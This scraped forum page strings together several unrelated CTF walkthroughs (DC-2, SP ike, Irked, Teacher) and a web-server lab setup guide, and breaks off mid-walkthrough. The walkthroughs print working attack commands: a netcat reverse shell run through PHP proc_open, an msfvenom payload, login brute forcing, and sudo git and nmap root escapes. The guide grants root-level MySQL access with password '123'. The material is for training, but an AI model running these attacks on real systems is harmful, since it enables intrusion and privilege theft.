![[Image: 1.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-xp1ab3tghds/XM2ZsJ9R3sI/AAAAAAAAeNc/ZB7_fIK6d6ocy9eVu-rzmFMy_h6P5jw3gCLcBGAs/s1600/1.png?w=687)
We found our Targets IP Address 192.168.1.101. Our next step is to scan our targets IP Address with nmap.
nmap -p- -A 192.168.1.101
1
nmap -p- -A 192.168.1.101
OKAY!! With the following result of nmap scan, I found here port 7744 is used for SSH and port 80 for HTTP service, moreover there all it shows all http services are made to redirect on //dc-2.
![[Image: 2.png?w=687]](https://i0.wp.com/2.bp.blogspot.com/-1hjdxv_ffjI/XM2Zuzkt7OI/AAAAAAAAeOA/aW4ACNWuFH8e09-ezharzct9LCEFOpLMwCLcBGAs/s1600/2.png?w=687)
Therefore, we thought of adding the Domain Name into our Host file, so that we will be able to access http services.
cat /etc/hosts
1
cat /etc/hosts
![[Image: 3.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-FetcFiuFOZs/XM2ZvbAmvsI/AAAAAAAAeOE/aiampwEVHToXFrqwqYtlhFsAZF2NS2HmwCLcBGAs/s1600/3.png?w=687)
Since port 80 is open, we explored the Domain Name on the browser. We discovered the webpage got a WordPress CMS installed on it.
![[Image: 4.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-fx0lIESGzhI/XM2ZwhOzWGI/AAAAAAAAeOI/MP9ie0UrB3Ie0Ys9oIhM53GNB7OAELROgCLcBGAs/s1600/4.png?w=687)
The Flag option on the webpage clearly got our attention. Let’s check what hint it has for us. So from this page, we got a really good hint to move ahead.
![[Image: 5.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-boov8X8FBeA/XM2Zw29kdSI/AAAAAAAAeOQ/iCVjSxxuwMo5aZEkJI3ogADJ1X1h6jh-wCLcBGAs/s1600/5.png?w=687)
So, the first idea that came to us was to run a wpscan on the webpage and see what the scan enumerates.
wpscan --url //dc-2 --enumerate p --enumerate t --enumerate u
1
wpscan --url //dc-2 --enumerate p --enumerate t --enumerate u
![[Image: 6.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-NLRNz7vDIq4/XM2ZwiwrBkI/AAAAAAAAeOM/CsBOs648X1opFZbln61RAcnpx7sQRxX1gCLcBGAs/s1600/6.png?w=687)
I found three user names: admin, jerry and Tom and as said above we need to use cewl which is used for generating a dictionary by spidering website.
![[Image: 7.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-8NTAC9OGr_U/XM2ZxkHYXvI/AAAAAAAAeOU/D2rr2ZH_M6whX3CyDbnj-ntrXRI-vGeBQCLcBGAs/s1600/7.png?w=687)
Therefore, we have used cewl to build a wordlist for passwords from inside //dc-2 as shown in the image.
cewl //dc-2/ > password
cat password
1
2
cewl //dc-2/ > password
cat password
![[Image: 8.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-iSO5Nz8itP0/XM2ZxiJN_wI/AAAAAAAAeOY/wyjSablzIus-CuNwjNsWf4JByLOuTf3ewCLcBGAs/s1600/8.png?w=687)
So, we have a dictionary for passwords which we have generated using cewl and saved WordPress usernames in a text file.
cat users
1
cat users
![[Image: 9.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-IA2C43VwGnM/XM2ZxnVHY2I/AAAAAAAAeOc/XnvIZE3rQjILI4f6MXMcHM6OdVBrEzwtwCLcBGAs/s1600/9.png?w=687)
Time to fire up wpscan with our username & password list to valid user login combination.
wpscan --url //dc-2 -U users -P password
1
wpscan --url //dc-2 -U users -P password
![[Image: 10.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-CKm6w7Hy0kI/XM2ZsZ84XkI/AAAAAAAAeNg/N1P5ZH9GYBYdNZpPYWBKCtPNO7-luCZpwCLcBGAs/s1600/10.png?w=687)
We have successfully found the password for Tom & Jerry. Let’s make good use of them.
jerry: adipiscing
tom: parturient
1
2
jerry: adipiscing
tom: parturient
![[Image: 11.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-VF1FSKzIVyM/XM2ZsIUCgJI/AAAAAAAAeNY/F3XffAWksQkMgUNfXlhs5h7uV8fbVLQwQCLcBGAs/s1600/11.png?w=687)
Further, we login to WordPress using Jerry credentials. It was holding another clue for us in Flag 2.
![[Image: 12.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-ceShUuXfL4w/XM2Zsx7fbTI/AAAAAAAAeNk/WESx1m_KCHU3vGK7mWdXJ30kIYGWmq82wCLcBGAs/s1600/12.png?w=687)
Since the clue was telling us to find another entry point to reach our final flag. Suddenly we thought to make an SSH Login running on port 77454 by using Tom credentials.
We successfully got logged in but we have a restricted shell in which some commands are not found. But few commands are available.
ssh [email protected] -p 7744
ls
cat flag3.txt
echo $PATH
ls /home/tom/usr/bin
1
2
3
4
5
ssh [email protected] -p 7744
ls
cat flag3.txt
echo $PATH
ls /home/tom/usr/bin
As you can observe that cat program is not present inside /bin and tom can run only five programs present inside /bin directory.
![[Image: 13.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-Ov4jgHsDUT0/XM2ZtW1kdfI/AAAAAAAAeNo/-vY-pPDS6jUTYrhp6HngJCyc62t3TrenQCLcBGAs/s1600/13.png?w=687)
Since we had a restricted shell, we found that we can use the Vi editor. Therefore, we use Vi editor to escape the restricted shell.
![[Image: 14.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-YEMlSox6utA/XM2Ztp2eT3I/AAAAAAAAeNs/WwJTgHOmNY8leZwZRx1dz9GCx9iaPzthwCLcBGAs/s1600/14.png?w=687)
After escaping the restricted shell, we export “/bin/bash” as our SHELL environment variable and “/usr/bin” as our PATH environment variable so that we can run Linux commands properly.
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
1
2
export PATH=/bin:/usr/bin:$PATH
export SHELL=/bin/bash:$SHELL
After that, we try to open flag3.txt again using cat command and luckily found next hint to move ahead.
ls
cat flag3.txt
1
2
ls
cat flag3.txt
According to hint, now we need to switch user from tom to jerry but we don’t have jerry’s login credential. Then checked the sudoers list and found that tom can run “/usr/bin/git” as root without a password.
sudo -l
1
sudo -l
![[Image: 15.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-UIHAPOOSnSs/XM2ZtjdqguI/AAAAAAAAeNw/xS7cqYWEnVYwJ91p0ghebOali6bmPHzrgCLcBGAs/s1600/15.png?w=687)
Having the root permission on git was like the cherry on the cake, because through this I can try to escalate low privilege shell to high privilege shell.
sudo git help add
1
sudo git help add
![[Image: 16.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-VQNidlL98xM/XM2ZuGztwdI/AAAAAAAAeN0/e-GGbAM80k423k1IoOMXwOBDzrgj6EVYQCLcBGAs/s1600/16.png?w=687)
Since the help console of git opens with an editor where we can run below command. And for spawning root shell type !/bin/bash and hit enter.
![[Image: 17.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-sTrNFfpDiRg/XM2ZuxmDE9I/AAAAAAAAeN4/WfouQZT8Mr80bBRC8MaWYZ7RDhwmSWB0gCLcBGAs/s1600/17.png?w=687)
Boom!!! We got the root access, then we switch to the root directory and found our final flag.
cd /root
ls
cat final-flag.txt
1
2
3
cd /root
ls
cat final-flag.txt
|
|
|
|
[Guide] How to do Web Server Lab Setup for Penetration Testing |
|
Posted by: NINZA - 05-14-2020, 05:33 PM - Forum: Carders Home
- No Replies
|
 |
In this post, we will discuss how to set-up our own web server for penetration testing on Ubuntu 18. Ubuntu 18 has updated with the new features.
Table of Content
Requirement
Web Server configuration - Apache
- PHP
- MySQL
- phpMyAdmin
- FTP
- SSH
- Nmap
Requirement-ubuntu 18.0
Web Server Configuration
The Web server is a program that uses HTTP to serve users with files forming web pages in response to requests transmitted by their HTTP clients.
The Web servers can also be called dedicated computers and apparatuses.
Install Apache
First, we will install the Apache. Apache is the most commonly used Web server on Linux Systems. Web servers are used to serve web pages requested by the client computers. So, let’s first install Apache in the ubuntu by the following command-
apt install apache2
1
apt install apache2
We have successfully installed apache2, by default apache runs on port 80.
![[Image: 1.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-QPVa5syF16g/XMxFlVhjuiI/AAAAAAAAeJ4/KWNxo3vEn8E6-DIJGEbPkcWWWAO-MmpqACLcBGAs/s1600/1.png?w=687)
Install PHP
Now we will install PHP 7modukle for Apache 2 and for all of its dependencies. Earlier we used to install PHP 5 module for Ubuntu 14. But now as it is not compatible in ubuntu 18.so we will install the latest version of php which is php7.2 For this run the following command in ubuntu terminal-
apt install php7.2
1
apt install php7.2
As you can see, we have done with php installation.
![[Image: 2.png?w=687]](https://i0.wp.com/1.bp.blogspot.com/-_4YjfcrRfbs/XMxFm_RkdqI/AAAAAAAAeKQ/9-i_zJ0X98wXX7xwfPUrlmLBQZ67rorRQCLcBGAs/s1600/2.png?w=687)
Install MySQL Server
Now comes the next step which is the installation of MySQL server. MySQL is the famous open-source database which was very easier to install earlier. But now it requires some changes for Ubuntu 18.
So, let’s go ahead step by step.
First, we will install MySQL server by the following command-
apt install mysql-server
1
apt install mysql-server
![[Image: 3.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-d2VpXNqrar8/XMxFnMw8XSI/AAAAAAAAeKU/70P7CueAHF4EyW8Z8mkQ5fGjmBTNzxCngCLcBGAs/s1600/3.png?w=687)
So, we are done with the installation. In Ubuntu 14, MySQL did not need a password as it required only the root user to logged in. But now it needs a password and it won’t allow the root user to log in so we will provide a username and password of ubuntu in MySQL with the following command and as it will ask for the password; you have to use your ubuntu password here. After it gets logged in you will grant all the privileges to the user of Ubuntu as in our case we have given all the privileges to user raj which will be identified with the password of ubuntu which is 123 in our case and after which we will reset all the previous privileges so that it can start the service with the new changes. For this, the commands are the following.
mysql -u root -p
GRANT ALL PRIVILEGES ON *.* TO 'raj'@'%' IDENTIFIED BY '123' WITH GRANT OPTION;
flush privileges;
1
2
3
mysql -u root -p
GRANT ALL PRIVILEGES ON *.* TO 'raj'@'%' IDENTIFIED BY '123' WITH GRANT OPTION;
flush privileges;
Great we are done with MySQL server installation, by default it runs on port 3306, now restart MySQL service.
service mysql restart
1
service mysql restart
![[Image: 4.png?w=687]](https://i2.wp.com/2.bp.blogspot.com/-bIyQjXtamLU/XMxFnsmXfnI/AAAAAAAAeKY/ijmOIDjdDLslC9rnQGvAqHiuK8k_sH0WACLcBGAs/s1600/4.png?w=687)
Install phpMyAdmin
Now the next step is the installation of a phpMyAdmin software tool which is written in PHP and which is proposed to handle the administration of MYSQL over the WEB and it also supports a wide range of operations on MYSQL. First, we need to install phpMyAdmin by the following command-
apt install phpmyadmin
1
apt install phpmyadmin
![[Image: 5.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/--lqH4hv_whw/XMxFn88WEHI/AAAAAAAAeKc/Rg6imh89g7I0-9VgnMEdjo8Cm6AGlY7LgCLcBGAs/s1600/5.png?w=687)
After the installation, it will ask you to choose the web server. Here you need to choose apache2 which will automatically be configured to run phpmyadmin.
![[Image: 6.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-2oN-KW5Wb2c/XMxFnzh5j1I/AAAAAAAAeKg/xx2BLSVvHMUP4kcrou5Per59apxJZKaxQCLcBGAs/s1600/6.png?w=687)
Next, you will get a prompt which will be opened to configure a database for phpmyadmin with dbconfig-common. Here you need to click on yes and the enter.
![[Image: 7.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-ApjXvLuN9f8/XMxFojJmxqI/AAAAAAAAeKk/H3NDccqN808Bdqbrvg3zuknxoK46IGGagCLcBGAs/s1600/7.png?w=687)
Again, you will get a prompt which will ask you to submit the password for phpMyAdmin, to register with the database server. Here we have given 123 as the password as it is essential to give it a password now.
![[Image: 8.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-kcLDKg3ruG0/XMxFpFTaPKI/AAAAAAAAeKo/u7viSnVQne49G-hnxUTtmt2M-0VMn6gFwCLcBGAs/s1600/8.png?w=687)
The next step is the configuration of phpmyadmin under apache, for this we need to edit apache2 conf file by adding two lines at the end of this file:
nano /etc/apache2/apache2.conf
1
nano /etc/apache2/apache2.conf
#phpMyAdmin Configuration
Include /etc/phpmyadmin/apache.conf
1
2
#phpMyAdmin Configuration
Include /etc/phpmyadmin/apache.conf
At the last, as shown in the image below and then save it and after the editing saves the file and restart apache2 service.
service apache2 restart
1
service apache2 restart
![[Image: 9.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-P3WNIpEJVxQ/XMxFpCevr0I/AAAAAAAAeKs/Hf3GNOObozgNnoonyhsuAMc7XQJrblebQCLcBGAs/s1600/9.png?w=687)
Now open phpmyadmin in the browser as localhost/phpmyadmin as shown in the image below-
![[Image: 10.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-c7GkuIwxiRU/XMxFlZIP2CI/AAAAAAAAeJ8/izpC4dEKt3AfXsBT6mIoUryDBoHWycbJACLcBGAs/s1600/10.png?w=687)
Install ftp
Now we will install FTP server in ubuntu which is used for the transfer of computer files between a client and server on a computer network. For this run the following command in the terminal-
apt install vsftpd
1
apt install vsftpd
As we can see in the above screenshot that ftp service has been installed in our system which runs on port 21
![[Image: 11.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-YRytNZ6aPd0/XMxFll7AA1I/AAAAAAAAeKA/4-uJfp8MEN8WqQE87ypWHq_zL_8r3NX5QCLcBGAs/s1600/11.png?w=687)
Install ssh
Now the next is SSh protocol which is method for secure remote login from one computer to another.so lets install this service by the following command. It is installed successfully; by default, it runs on port 22.
apt install openssh-server
1
apt install openssh-server
![[Image: 12.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-fTCwH1q0w3o/XMxFmPqylZI/AAAAAAAAeKE/9OpnxWSHc7k7Xnk0S09q0P-oSePcVmijgCLcBGAs/s1600/12.png?w=687)
Install Nmap
Now in order to check that the above services have been installed properly in our system; we will use nmap which is a scanner for ports and which tells us about the open ports and running services status.
So, let’s install that by the following command-
apt install nmap
1
apt install nmap
![[Image: 13.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/--a6tAkeZH6A/XMxFmXSfUWI/AAAAAAAAeKI/T0nEbR6MecQdwvqe36zaL2dYKq1yMHrdACLcBGAs/s1600/13.png?w=687)
Once the installation is done, we will scan our own system by the following command and it will scan our system and will come up with the desired results as you can see in the image given below-
nmap 127.0.0.1
1
nmap 127.0.0.1
![[Image: 14.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-HEPPdceG1mY/XMxFmjyetcI/AAAAAAAAeKM/EpLwYGMUsZQMOLhuypSXUYgJnjg40ON8ACLcBGAs/s1600/14.png?w=687)
Hello friends! Today we are going to take another CTF challenge known as “SP ike”. The credit for making this VM machine goes to “[To see content please register here] ”. Our goal is to get flags to complete the challenge.
Security Level: Intermediate
Penetrating Methodology:- Discovering Targets IP
- Network scanning (Nmap)
- Surfing HTTP service port
- Configuring HEXCHAT IRC Client
- Connecting to IRC Server
- Creating PHP Malicious Script using MSFvenom
- Using Netcat Listener
- Spawning TTY Shell
- Getting Root Access
- Reading Final Flag
Walkthrough
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
![[Image: 1.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-7jNgcRLtDuo/XMmJ_G_W5QI/AAAAAAAAeJI/GJFXBOLNrSsJ8Ybe6yUveyQ9jU980bvYACLcBGAs/s1600/1.png?w=687)
We found our target –> 192.168.1.21
Time to scan the Target’s IP with nmap. Nmap scan result shows FOUR open ports, 80(http), 139(NetBIOS-ssn), 445(NetBIOS-ssn), 6667(IRC).
nmap -sV -T4 192.168.1.21
1
nmap -sV -T4 192.168.1.21
![[Image: 2.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-2_SjedQn1PU/XMmJ_PALYZI/AAAAAAAAeJM/Wwj2r01Tf-oz07R0GQr4oDPb9ZB-myl0QCLcBGAs/s1600/2.png?w=687)
Since port 80 is running HTTP, so we thought of browsing Target’s IP in our browser. But it is not much of great help. Moving on.
![[Image: 3.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-ptnNjliOu0g/XMmJ_z5PPvI/AAAAAAAAeJQ/tuBQDPAes_ERhTb2GxZNP99Yq7svkX53wCLcBGAs/s1600/3.png?w=687)
Even directory scanning using dirb tool was not very useful. At last, we are left with the IRC chat server on port(6667). So, we used an IRC client Hexchat to connect to the port(6667). First, we need to configure Hexchat by Adding a New Profile and Editing Connection Details.
![[Image: 4.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-Zq4qQhaztEM/XMmKAFiD6_I/AAAAAAAAeJU/sBmEl0X3bbki8GXLII9j5IJAqE4hFdGIQCLcBGAs/s1600/4.png?w=687)
Now Edit the Network ike which we have added and Give the Target’s IP as you can see in the image.
![[Image: 5.1.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-vIJxJIKCXX8/XMmKAyVjndI/AAAAAAAAeJY/E-D4oPvsJnE-hoWLojfoZ8HRiDxc3d68wCLcBGAs/s1600/5.1.png?w=687)
We have successfully connected to the IRC Server. And we found something interesting that the server has a channel #php which has a phpbot, I guess it wouldn’t be a problem for the phpbot to execute a php script.
![[Image: 5.png?w=687]](https://i2.wp.com/4.bp.blogspot.com/-vGB0s_wmrZg/XMmKBQSOZ3I/AAAAAAAAeJc/DB8EBAzJ_ssiTqmcWSWxojlXkpjMVgukQCLcBGAs/s1600/5.png?w=687)
We created a msfvenom script to exploit the target machine. We used the reverse_netcat payload to create this script.
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.34 lport=1234 R
1
msfvenom -p cmd/unix/reverse_bash lhost=192.168.1.34 lport=1234 R
![[Image: 7.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-qTXcWNMmohY/XMmKBwKj4uI/AAAAAAAAeJg/HlnK1S2qz_MwBQxdaN2xzqownRdHonKmQCLcBGAs/s1600/7.png?w=687)
After making a few tries, we finally able to execute our PHP script successfully. To get reverse shell execute the script given below.
!php $s=array(); $p=array(); proc_open("mkfifo /tmp/tsglu; nc 192.168.1.34 1234 0</tmp/tsglu | /bin/sh >/tmp/tsglu 2>&1; rm /tmp/tsglu", $s, $p);
1
!php $s=array(); $p=array(); proc_open("mkfifo /tmp/tsglu; nc 192.168.1.34 1234 0</tmp/tsglu | /bin/sh >/tmp/tsglu 2>&1; rm /tmp/tsglu", $s, $p);
![[Image: 8.png?w=687]](https://i0.wp.com/3.bp.blogspot.com/-XwI5QTdm5KU/XMmKCBAqX2I/AAAAAAAAeJk/6V4As-38dhsiiqzx5JsqpSAwktEFibE3gCLcBGAs/s1600/8.png?w=687)
Oh Yeah!! We got the reverse shell, but it is not a proper shell. We will spawn a tty shell using python. After doing sudo -l, we saw nmap can be used with root privileges. So to get root, we used commands given below and successfully got root access. Time to read the FLAG!!
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
echo "os.execute('/bin/sh')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nseid
cd /root
ls
cat flag.txt
1
2
3
4
5
6
7
nc -lvp 1234
python -c 'import pty;pty.spawn("/bin/bash")'
echo "os.execute('/bin/sh')" > /tmp/shell.nse
sudo nmap --script=/tmp/shell.nseid
cd /root
ls
cat flag.txt
![[Image: 12.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-Iq1VeWK7ILE/XMmJ_Jg7QkI/AAAAAAAAeJE/YEJB_z5-SI0YmiO4ETPjbU-Z1lDEyzi4gCLcBGAs/s1600/12.png?w=687)
Today we are going to solve another CTF challenge “irked”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Easy
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of irked is 10.10.10.117
Penetrating Methodology- Scanning
- Enumerating
- Exploiting
- Get user.txt
- Privilege Escalation
- Get root.txt
Walkthrough
Scanning
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -p- -sV 10.10.10.117 --open
1
nmap -p- -sV 10.10.10.117 --open
As you can see that port 22,80 is open for ssh, http services respectively, some other ports for IRC (unrealircd) are available.
![[Image: 1.png?w=687&ssl=1]](https://i0.wp.com/4.bp.blogspot.com/-QpqiaKSLcXI/XMXWz9o20II/AAAAAAAAeIY/JJG1l3_bpEkq4Kx9v0Wa_Z0jIGmrLVeAQCLcBGAs/s1600/1.png?w=687&ssl=1)
It gave us a frustrated emoji when exploring port 80, as shown below, and some hints for irc are working. This image might have some hidden information, so I download this image and begin to penetrate it.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-L0J64JG5rG4/XMXW0ZHk5fI/AAAAAAAAeIc/0vugSAmZ3bgdigvAOuNsVf-BCSVu-oM-gCLcBGAs/s1600/2.png?w=687&ssl=1)
Enumeration
I tried to extract hidden information with the help of steghide, but it needs the passphrase for that. I search for unrealIRCd when this approach didn’t work.
![[Image: 3.png?w=687&ssl=1]](https://i1.wp.com/2.bp.blogspot.com/-3W--PEvPHwQ/XMXWz-F3PHI/AAAAAAAAeIU/K-Oeer8TN783TEseQ1PKbAsUOw2h6RRwwCLcBGAs/s1600/3.png?w=687&ssl=1)
Exploiting
Fortunately, I found an exploit for unrealircd in Metasploit, although the default port for ircd is 6667, it runs on 6697 here. I pwned the victim machine successfully after running the module.
use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.10.117
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.14.13
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 6697
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
1
2
3
4
5
use exploit/unix/irc/unreal_ircd_3281_backdoor
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.10.117
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.14.13
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 6697
msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
So, as you can see, we’ve got the victim’s machine command session, let’s penetrate more to get user.txt and root.txt. First, to obtain the appropriate terminal, we need to import pty shell, so type:
python -c 'import pty;pty.spawn("/bin/bash")'
1
python -c 'import pty;pty.spawn("/bin/bash")'
![[Image: 4.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-8Rg-lQVnEZs/XMXW1BWK5SI/AAAAAAAAeIg/cP2Tk_E9M54u049wuAFZeWSYesa5Y-PYwCLcBGAs/s1600/4.png?w=687&ssl=1)
I found user.txt within /home/djmardov/documents, but since we’re logged as an ircd, there’s no permission to read this file. There was also a .backup hidden file and it gave us a “UPupDOWNdownLRlrBAbaSSs” password.
![[Image: 5.png?w=687&ssl=1]](https://i2.wp.com/2.bp.blogspot.com/-6ccrCSdIHR0/XMXW1WGvl0I/AAAAAAAAeIk/n1jBxqC88FwD7A63MH3dz6KXFE7vWqIigCLcBGAs/s1600/5.png?w=687&ssl=1)
We found frustrated emoji in the beginning, requiring a passphrase to extract the hidden text behind the image. So, as a passphrase, I use the password above and found a pass.txt file from within irked.jpg.
steghide extract -sf irked.jpg
1
steghide extract -sf irked.jpg
I found another password from the inside pass.txt file “Kab6h+m+bbp2J: HG.”
![[Image: 6.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Zmmf5n-Efxg/XMXW1V1xpiI/AAAAAAAAeIo/O-O5H61uwXI3hdYO8z-yglGF24gFBhQ2QCLcBGAs/s1600/6.png?w=687&ssl=1)
Privilege Escalation
Now I use the following credential to connect with the victim’s machine through ssh.
Username: [email protected]
Password: Kab6h+m+bbp2J:HG
First, I open the user.txt file and finish the first challenge along with that. Now let’s penetrate more to find the root.txt file, and that’s why we need to increase the privilege, so I’m trying to find out if there’s any suid permission script.
ssh [email protected]
cat user.txt
find / -perm -u=s -type=f 2>/dev/null
1
2
3
ssh [email protected]
cat user.txt
find / -perm -u=s -type=f 2>/dev/null
Here /usr/bin/viewuser looks more interesting, let’s check it out.
![[Image: 7.png?w=687&ssl=1]](https://i2.wp.com/4.bp.blogspot.com/-zkrcA5LfPDs/XMXW2nKfGtI/AAAAAAAAeIw/j8X_6V_QyYQ7TBEn1nm1f_tsMfXSvzEmACLcBGAs/s1600/7.png?w=687&ssl=1)
So, when I run the program, I found that this application was being developed to set test user permissions but couldn’t find listusers file within /tmp. This program is, therefore, searching for data from the listusers file and the file is missing from the directory inside /tmp.
So what we can do is write a script to call bin / sh and save it as listusers inside /tmp and then run the viewuser to run it.
echo '/bin/sh' > /tmp/listusers
chmod 777 /tmp/listusers
/usr/bin/viewuser
1
2
3
echo '/bin/sh' > /tmp/listusers
chmod 777 /tmp/listusers
/usr/bin/viewuser
Boom!! We have root access now, let’s grab the root.txt file and finish the assigned task.
cd /root
ls
cat root.txt
1
2
3
cd /root
ls
cat root.txt
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/3.bp.blogspot.com/-Hp6CCSsXeHU/XMXW2PM82nI/AAAAAAAAeIs/W7GCeH7m-2gJ__Oppzr0MHxYkHo5wU4RgCLcBGAs/s1600/8.png?w=687&ssl=1)
Today we are going to solve another CTF challenge “Teacher”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of Teacher is 10.10.10.153
Penetrating Methodology
Scanning
Enumeration- Web Spidering (dirb)
- Abusing HTTP service
- Password Fuzzing (Wfuzz)
Exploiting- Evil Teacher Attack
- Obtain Netcat session
- Get config.php to obtain the MySQL password
- Connect to MySQL
- Extract tables to obtain login credentials
- Get user.txt
Privilege Escalation- Symlinking root directory
- Get root.txt
Walkthrough
Scanning
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sC -sV -p- 10.10.10.153
1
nmap -sC -sV -p- 10.10.10.153
As you can observe that it has shown port 80 is open for http services.
![[Image: 1.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-MDgjVFsmjYY/XMCTu-pkCjI/AAAAAAAAeGE/B8qb_zJruJcLp_gsB2-UqeRrzjYXsE6pwCLcBGAs/s1600/1.png?w=687)
We found a school website on exploring port 80, and I didn’t find a lot of information here. This website appears to be designed for online courses and the author may use some educational cms to design it.
![[Image: 2.png?w=687]](https://i1.wp.com/1.bp.blogspot.com/-oeo0J6rWHvE/XMCTxwuBTiI/AAAAAAAAeGk/qRMfaz0-xrg95_VZ8aQbyRGPAeqxAS-HACLcBGAs/s1600/2.png?w=687)
Enumeration
Since it is a learning site that needs to be designed for online classes using a CMS platform. Therefore, I will go for the enumeration of the web directory without wasting much time.
dirb //10.10.10.153
1
dirb //10.10.10.153
If you notice the image below, you will find a web directory /moodle. The website is therefore proven to be designed on MOODLE CMS, let’s explore it further.
![[Image: 3.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-dIlTQBG72UQ/XMCT1iTGkNI/AAAAAAAAeHM/BQj8gp_JKvEFR5IxS75YJqyymYqxesywACLcBGAs/s1600/3.png?w=687)
When I explored /10.10.10.153/moodle, it’s the “Giovanni Chhatta” teacher portal for online classes in Mathematics Algebra. If you’re looking for a moodle exploit, you’re going to see it vulnerable to SQL and RCE. So, to exploit it, we need to log in to this account, but we don’t have credentials.
![[Image: 4.png?w=687]](https://i0.wp.com/4.bp.blogspot.com/-sYgI7F8_qz8/XMCT2NL3RfI/AAAAAAAAeHU/OkLoUYe28iQQToMVVojqIuo68gD99GE9wCLcBGAs/s1600/4.png?w=687)
I felt like the photo gallery looks suspicious while spidering because each row contains 4 tiles and one photo in the top left corner is missing.
![[Image: 5.1.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-0MY9lHhhNZw/XMCT2xhOyXI/AAAAAAAAeHc/yfkoXXajeNwEvftMGg2LRZY5hgbXFWxlgCLcBGAs/s1600/5.1.png?w=687)
Therefore, I check the source code of the page and there is some error where I saw picture 5. We need to download this picture to identify more about image error.
![[Image: 5.png?w=687]](https://i2.wp.com/3.bp.blogspot.com/-nOkZ4Kfqlz0/XMCT27LaHsI/AAAAAAAAeHY/AWnuUf2LHyUY4zb8lzU_oASjBWceoJkVQCLcBGAs/s1600/5.png?w=687)
So, I downloaded this image 5 with the help of the wget command and identified the type of file.
wget //10.10.10.153/images/5.png
file 5.png
1
2
wget //10.10.10.153/images/5.png
file 5.png
Though it looks like an image, it was ASCII file that we could open in any text editor. As you can see with the help of the cat command, I opened the 5.png file where I found the “Giovanni” user password clue.
PASSWORD HINT: “I forgot the last character of my password. The only part I remembered is Th4C00lTheacha”
Since the password’s last character was missing, I created a wordlist with the command below.
crunch 15 15 -t Th4C00lTheacha^ -o pass.txt
1
crunch 15 15 -t Th4C00lTheacha^ -o pass.txt
![[Image: 6.png?w=687]](https://i1.wp.com/2.bp.blogspot.com/-n2aAAo3AZDY/XMCT3doHQAI/AAAAAAAAeHg/-2NuFIaC_Kkehn2Y1mL2suDBHt3LFABcgCLcBGAs/s1600/6.png?w=687)
Now let use wfuzz for fuzzing brute force using wordlist to identify valid login combination.
wfuzz -w pass.txt -L 20 -d "username=giovanni&password=FUZZ" -hw 1224 //10.10.10.153/moodle/login/index.php
1
wfuzz -w pass.txt -L 20 -d "username=giovanni&password=FUZZ" -hw 1224 //10.10.10.153/moodle/login/index.php
WoW!! We got HTTP 200 ok response for Giovanni: Th4C00lTheacha#
![[Image: 7.png?w=687]](https://i1.wp.com/4.bp.blogspot.com/-S1m2mQ3VeaE/XMCT38D1GHI/AAAAAAAAeHk/vnijAfL3GyM-uuEEe2wqh46krBFPwI1cACLcBGAs/s1600/7.png?w=687)
Exploiting
